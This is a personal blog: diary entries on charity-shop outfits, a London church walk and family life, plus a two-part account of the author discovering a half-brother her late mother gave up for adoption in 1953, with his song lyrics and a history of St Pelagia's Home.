    We went to Harrods at Linda's request and splashed out on some pastries - I'd scoffed mine by the time I took this photo. Linda's is still in the bag...

    I'd never been to Harrods before. I was wondering why the sales assistant was staying so close to my side in the women's wear department as I was stroking a white suede and fur coat. Then I looked at the price tag - £35,000!!

    We spent the rest of the day in Chelsea where we paid a flying visit to my eldest grandson at work and then met up with my brother and went out for a meal.

    On Sunday the family came for the dinner.


    These are the colourful trousers I bought in a Bedford charity shop and all the other items I'm wearing are also charity shopped. 

    I took Linda to the airport last Monday and was very sad to see her go. I always wanted a sister when I was growing up and feel that I have a sister in Linda. 
    Life resumed as normal on Tuesday with a stint at the Food Bank.


    Everything charity shopped. Purple velvet jeans; Red Cross 1.99. Grey waistcoat is from Gap and patterned shirt is from M&S. 


    Boots - Christmas present from daughter.


    Beads present from OH but charity shopped as are the earrings, bangles and watch.



    On Wednesday I invigilated at the university where I used to teach. I shall be doing more invigilation in May and in June shall be poll clerking on election day. All the little extra cash is most welcome as I still have another 2.5 years before I get my state pension...


    Everything, except the boots, is from a charity shop. The tunic, which has a French label was 1.99 at the Red Cross - the collar has a row of hook and eyes fastening as do the sleeves. I chose to leave them open as the beige (gah!) trim made a nice contrast and went with the beige M& S trousers. The waistcoat was from the 99p rail in Barnardo's. All jewellery is charity shopped except the earrings which are from Sainsbury's. The headscarf is a recent acquisition (must stop buying them - the picnic basket where I store them is filling up) from the 3:16 shop for 1.00.


    On Thursday I did the usual food shopping and went for a 6 mile walk. My youngest grandson is staying every Thursday evening now as my daughter has taken up boxing and has a late training session. I take both grandsons to and from school on Friday so it is just as easy for him to stay overnight with me.

    This is the tunic/dress I bought in the Killybegs charity shop for 2 euros. It's by Apricot and I loved the red orange flower display around the bottom. Everything is charity shopped including the boots, but the grey leggings are from Sainsbury's Tu range.


    All jewellery charity shopped including this necklace which I also bought in the same Killybegs charity shop as the tunic but about two years ago. It's a bit of a treasure trove that charity shop...

    I went on a bus walk with the Ramblers on Friday and we walked from Henlow to Langford and back again; about 6.5 miles. I kept my jacket on the whole time as although it was a nice bright day the wind was chilly. 


    This is the Holy Trinity Church in Clapham, London and the site for the origins of The Bible Society.

    I walked again on Saturday; only this time it was in London and the 34th 'Unlock'  London walk. You can read about the 'Unlock' walks HERE in more detail, but they are essentially fund raising walks for urban charities, visiting a range of different churches in different parts of London.

    This year the walk was in Battersea and Clapham. It's the third consecutive year I've done this walk and it's always very interesting. It attracts those of a religious persuasion (not me!) and walkers.



    This is St. Mary's on the Thames path near to Battersea bridge. It wasn't one of the seven churches on the walk but I rather liked it.


    Battersea Bridge built in 1890


    We ate our lunch here. Behind this bridge (Battersea Railway Bridge, built in 1863) was a helicopter landing pad; the helicopters were arriving and taking off about every ten minutes.


    I wondered about this building  in Comyn Road, SW11 - it looks like a boring red brick red modern building, but if you look carefully there are a couple of old fashioned, possibly Victorian, dresses sculpted on the front of it. Was it originally the site of a factory? An orphanage? A school? I wish I knew - and Google wasn't any help.


    This beautiful flowering tree was in the sub tropical section of Battersea Park but I have no idea what it was.


    This Victorian Gothic church is called St. Nectarios; it's near Lavender Hill and is now a Greek Orthodox church containing the most beautiful icons.


    We walked about 7.5 miles on the walk and if I include my walk to and from the station it was more than 8 in total. We returned to King's Cross by bus and I just managed to snap this sculpture; behind Marble Arch, from the top deck front seat of the bus. It was almost like being back at school again!


    On Sunday I went to see my son


    Everything charity shopped except the boots which were a Christmas present several years ago; the necklace and earrings were donated to me by my daughter.  The Next corduroy blazer bought from Red Cross for 1.99 about a year ago.


    White jeans bought in Derry and the spotted top was bought on my rummages with Linda, in the Ampthill Barnardo's.


    I was quite excited as it seemed warmer and sunnier on Sunday. I thought I might begin the winter to summer wardrobe swap over but changed my mind as the day went on and it got colder and colder...


    Monday was a bank holiday but it was business as usual at the Red Cross. I started at 10 am instead of 9.30 am but finished at the same time. Did I buy anything? Yes, I did. 2 more necklaces (naughty me!) one turquoise and one an orangey yellow colour. A yellow top and a cardigan both 1.99 each. Two books for my friend Hilary; whom I'm hoping to visit in Devon at the end of May or in June.


    This is the Desigual tunic/dress I bought in  the Red Cross in Derry. The top underneath is from Primarni; the leggings were bought retail at Sainsbury's and the Mary Jane's are from a local shoe outlet. I had left them behind in the caravan and made sure I brought them back with me as I hoped we may soon start to have a summer...


    All jewellery charity shopped and the head scarf was one of 3 bought at the 3:16 charity shop.

    My crochet blanket is coming along nicely, but I'm not getting that much reading done. I never do when I'm crocheting. I did manage to read the last of my 'Furrowed Middlebrow' birthday books and have now read four in this imprint. I've enjoyed them all but none have gripped me in the way many books have and I doubt I shall be buying anymore. They are also very tightly bound and you have to 'crack' the spine or fold the pages back severely to read the books properly. I still have two new Persephone books (also birthday books) to read and then there's all those books on TBR pile...

    I really want to start the winter to summer swap over but I daren't - it's too damn cold. Here's hoping it warms up soon!

              How my brother found us...Part 2        
    The Ballad of Kathy Flynn - (2012) - Julian Littman

    Long ago, young Kathy Flynn took a train to London Town
    She fell in love with an Indian hero - he turned her heart around
    With a Vir Chakra into his jacket - how could she resist?
    He took  her to his hotel room and there they more than kissed
    He said;"Kathy, will you marry me?"
    Of course, she answered yes.
    She dreamed of life in far Madras - an Indian Princess.

    He telephoned long distance to his father in Madras
    And told him of his intention to wed the Irish lass
    The old man flew into a rage and said your future's been arranged
    Marry her and you'll die without a rupee to your name
    Without a word he slipped away leaving not a trace behind
    And left poor Kathy waiting -  out of sight and out of mind.

    Chorus: I'll sing a lullaby to the Irish girl and the dreams she could not keep
    I'll sing a lullaby to the Irish girl and sing that girl to sleep.

    She met a man of magic - the Great Marlo was his name
    They took a mind reading act out on the road and found some kind of fame
    Pretty soon she realised a child was on the way
    Her Indian hero had left her with more than a broken heart that day
    She cast her fate to the Mother Church who duly took her in
    She gave away the boy at birth and never saw him again.

    Chorus: I'll sing a lullaby to the Irish girl and the boy she could not keep
    I'll sing a lullaby to the Irish girl and sing that girl to sleep.

    The boy grew up in a happy home but when his folks had gone
    The boy was curious to know more about his mum
    He traced her to a little town and called her on the phone
    But she hung up when she heard his name - shaken to the bone.
    She wrote him a letter saying never a day goes by
     When I don't think about you, boy, but I must go on living a lie
    You see, I've a family of my own  - our secret's never been told
    The truth would tear this house apart and I'm too frail and too old.

    2nd chorus again
    -----------------------------------------------------------------------------------------------------

    Julian knew he was adopted from about the age of 8 or 9. He came home from school one day and asked his mum a question that he was constantly being asked at school. "Mum, why is it that I'm a different colour to J (Julian's adoptive parent's natural son) and you and Dad? His mum told him in a very matter of fact way that he was adopted and his biological parents were an Anglo Indian pilot in the Indian Air Force and his mum was an Irish actress.

    Julian's dad, Anthony Ignatius Kenneth Suares, was an Indian hero; he had been awarded the Vir Chakra in 1949 and you can read about it here. He died some time ago and Julian never managed to trace him. He still wants to explore that side of his family.

     My mum came to England from Ireland in 1948, aged 16, as a Nanny for a family in Edgeware. When she was 18 she was 'discovered' in Lyons Corner House in Marble Arch by the man I knew throughout my childhood as 'Uncle Marlo'. Marlo, or the 'Great Marlo' to give him his stage name; was a magician and mum was his assistant;  'Georgette'. They did a mind reading act together and travelled all over the UK. Mum had a tiny speaking part in a film about boxing in the 1950s, but we've never been able to discover the title. She would never have described herself as an actress but she always said she had been 'on the stage'. She and 'The Great Marlo' often did publicity stunts for their act; below is a still from British Pathe news item  - narrated by Eamonn Andrews - and available here on youtube; where mum was buried alive for one such stunt. It was a very cold day; everyone is wearing overcoats but mum appears dressed in a bra and skirt - some things never change when it comes to women...



    As children we loved Uncle Marlo - he used to make sixpences and shillings appear out of his ears or from up our sleeves! He lived just off Church Street market in London; and he and his wife were very good to my mum because she when she applied to St. Pelagia's to have Julian; she gave her address as their address; she must have been living with them throughout her pregnancy.

    What I have found out is Julian's birth was something that probably only one other family member; my Aunty Betty, knew about. Betty's name appears on the St.Pelagia documentation as mum's next of kin. In the latter stages of pregnancy mum could have told her four sisters; all of whom were living in London at the time, she was away touring with the Great Marlo. My dad never knew about Julian; in Julian's adoption paper's this is made clear as they state the adoption forms to be signed by mum must be sent in a plain brown envelope addressed solely to my mum.



    This is my mum's oldest sister, Aunty Peggy's, wedding in 1950 or 1951 in Paddington, London; mum would have been 18 or 19 at the time. Mum is on the far left in the plaid dress; next to Aunty Betty, (her confidante); behind Mum is Aunty Mary and next to her, Aunty Ita.

    Much of what Julian puts in the song above 'The Ballad of Kathy Flynn' is true but not all. We don't know how, when and where mum and Julian's dad met. We don't know if it was a one night stand or a relationship. We think the asking to marry bit is right because it's stated in the documentation Julian gathered together in his search for mum. I think it highly possible that getting married would have entailed mum moving to India and that she probably didn't want to leave England - but we'll never know.

    Julian went to drama school aged 16 and has spent the rest of his life performing, singing, playing and composing. You can see his bio here. It's very strange to think that when I was a student nurse in the early 1970s I used to watch 'Rainbow' - a children's programme on at midday - in the nurses lounge whilst eating my lunch. I must have seen Julian on TV dozens of times but never knew he was my brother!

    By 2005, Julian's adoptive parents had died. Julian knew a lot about his birth mother and her subsequent family, but he couldn't out find where she lived. One evening, after a gig two fans came back stage to see him; he found out they ran a business tracing adopted children's birth parents and or families. Within two weeks they had found mum living in Kettering; and as the song says a phone call was made and mum wrote Julian a letter, but didn't want to meet.

    I've read the letter she sent Julian and it is a beautiful letter. But, I still find it really difficult to understand (although I do, in many ways) why she didn't want to meet him. By 2005, mum knew she had COPD and that it would it kill her soon. As her children, we would have been delighted to meet Julian and would have welcomed him with open arms and would never have judged mum's actions. Mum must have known that about us as well as we were all very, very close. I'm just so sorry that they didn't get to meet because mum would have had almost four years left with Julian in her life.

    You must be curious to know how Julian did eventually find us and I'm now coming to that part...

    Julian discovered mum had died using 'Google' (God bless the internet - it's a marvellous invention but what a horrible way to find out about your mum's death). We had published a small notice of thanks in the local Kettering paper after the funeral in 2009. Julian waited for several years (I can only marvel at his restraint) and one day in 2013 he was on his way to the Derngate theatre in Northampton, with a group he was managing at the time. They knew his story and pointed out that Northampton was only 14 miles away from Kettering and as he knew my brother Mark still lived in the same house he and mum had moved to in 1999; he should, at least, drop a card through the door. So, he did!

    When I rang him that morning in February 2013 we spoke for two hours! We arranged for Julian to come to Bedford the following weekend and we would all go out for a meal and get to know each other. So, we did!

    4th March, 2013


     At my house looking at Julian's paperwork. Seated L to R:  Brother Julian, me, brother Mark and standing, brother Tony. Someone's cracked open the beers!
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    After the meal we went to a local wine bar and had a few more beers and bottles of wine...that's my OH, Wesley on the far left.
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    Time to go home, lads!
      
    It has been a wonderful experience meeting our 'new' brother. I have to admire his magnanimity and his generosity of spirit; he holds no hard feelings about his circumstances. He is not bitter that my mum wouldn't meet him. (I think I would have been, had it been me given up for adoption). We share a mother and although Julian was raised in the Home Counties in a nice middle class home and we were raised in the inner city, children of poor, working class immigrants, we have nothing but love and affection for each other.

    We meet as often we can - Julian is always busy (thankfully, in his line of work). The one nice thing we were able to do for Julian was ask him to help us scatter mum's ashes (her ashes had been living in the sitting room for four years) later that same year; 2013. We videoed the ceremony - it was just laughter and jokes all the way.

    RIP Mum - I'm sorry you had to live in such unenlightened times but your four children are united in their love for you.


              How I found my brother - Part 1        

    I said I would tell you about how we found our brother and here it is - true to my word. How my brother found us (Part 2) will follow soon.
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    One Friday evening in February 2013, my OH and I were on our way to Kettering to meet up with my brothers. We were stopping at the eldest brother's to pick him up and then go on to the the youngest brother's for a drink and a catch up. My mum and eldest brother had moved to Kettering from London in 1999, and my youngest brother moved to Kettering in 2006. My mum died in 2009 and my dad died, aged only 47, in 1980.

    When we got to the eldest brother's house he told me that someone had come to the door earlier in the day; spoken to him and had left him a card. He said the person - a man - said that he used to work with my mum. This immediately rang alarm bells because I knew my mum had for most of her working life, worked predominantly with women.

    When I read the card (I still have it), I literally went weak at the knees and had to sit down, but I knew at once that what it said was inescapably true. On 13th February, 1953; thirteen months before I was born in March 1954, and before my mum married my dad; my mum gave birth to a baby boy whom she called 'Julian Jerome Flynn' - (her maiden name was Flynn). She gave birth to Julian in St. Pelagia's Home for Penitent Girls (I kid you not) which was  in Highgate, North London. It's since been demolished and is now a gated development.

    All three of us were very close to our mum. We all loved her deeply. She was our rock, we knew she loved us unconditionally and she was always there for us. She was great fun to be with; we loved her company and spending time with her. Yet, none of us knew about this other brother. On that night I could only feel shock at the not knowing as we set off to the younger brother's house.
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     St. Pelagia's Home
    LOST HOSPITALS OF LONDON

    St Pelagia's Home
    St Joseph's Maternity Home
    34 Highgate West Hill, N6 6NJ
    Medical dates:

    Medical character:
    1889 - 1972

    Maternity
    St Pelagia's Home for Destitute Girls at No. 25 Bickerton Road in Upper Holloway was founded in 1889 by the Roman Catholic order of the Sisters Servants of the Sacred Hearts of Jesus and Mary.It provided  accommodation for unmarried mothers and their first-born babies, who were allowed to enter the Home when the child was a fortnight old.
    The girls were admitted free of charge on condition that they contributed to the earning power of the Home by working in its laundry.
    The Home later occupied the neighouring house at No. 27 Bickerton Road.

    In 1934 it moved to West Hill Place, a large house on Highgate West Hill, where it re-opened in 1936 after the Convent of Sacred Hearts had been built adjoining the original mansion.

    In March 1948 Mayfield, an adjoining 2-storey Victorian house, was bought and equipped as an antenatal and maternity home.  It had 18 beds and was named St Joseph's Maternity Home.

    The Labour Ward was on the first floor, while the ground floor contained 6 antenatal beds, and 12 postnatal beds in 3- or 5-bedded wards, with 12 cots for the babies.  An isolation room was added later.

    The patients, who stayed for an average of 12 weeks,  were cared for by three nurses.

    The LCC paid a guinea (21 shillings - £1.05) a weeks to the Home for expectant mothers and 25 shillings (£1.25) for mothers and babies (this was later increased to £2 10s (£2.50) a week).

    In 1954 the Homes had 70 beds for mothers and their babies.  Both properties had extensive gardens of 2 acres, but the buildings were in much need of repair, with damaged ceilings in St Joseph's and a leaking flat roof.

    The Homes closed in 1972.